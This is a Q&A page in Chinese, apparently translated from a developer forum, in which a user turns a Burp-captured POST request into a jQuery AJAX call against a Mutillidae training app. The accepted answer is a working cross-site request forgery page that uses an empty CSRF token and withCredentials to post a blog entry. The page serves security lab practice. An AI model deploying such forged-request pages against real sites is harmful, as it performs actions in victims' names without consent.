首页 > 解决方案 > 使用 AJAX 发送 POST 请求,被 Burp Suite 拦截

问题描述

我用 Burp Suite 拦截了一个 POST 请求,我想从 JavaScript Ajax 调用手动发送这个请求。

这是我的原始请求: Burp Suite - 原始帖子请求

我试图发送这样的 POST 请求:

<!DOCTYPE html>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script>
$.ajax({
    type: 'POST',
    url: 'http://10.10.20.103/mutillidae/index.php?page=add-to-your-blog.php',
    data: {
        'csrf-token': '',
        'blog_entry': 'post from ajax',
        'add-to-your-blog-php-submit-button': 'Save+Blog+Entry'
    };
});
</script>
</head>
<body>
</body>
</html>

但我无法管理它。我的错误在哪里?或者,我该怎么做?如何将原始请求转换为 Ajax 请求?

谢谢!

标签: javascriptajaxpostcsrfburp

解决方案


正确的解决方案是:

<!DOCTYPE html>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script>
$.ajax({
    method: 'POST',
    url: 'http://10.10.20.103/mutillidae/index.php?page=add-to-your-blog.php',
    data: {
        'csrf-token': '',
        'blog_entry': 'post from ajax',
        'add-to-your-blog-php-submit-button': 'Save+Blog+Entry'
    },
    xhrFields: {
       withCredentials: true
    }
});
</script>
</head>
<body>
</body>
</html>

我忘记了数据字段右花括号末尾的分号。另外,我必须添加 xhrFields 字段以绕过 cookie 需要。


推荐阅读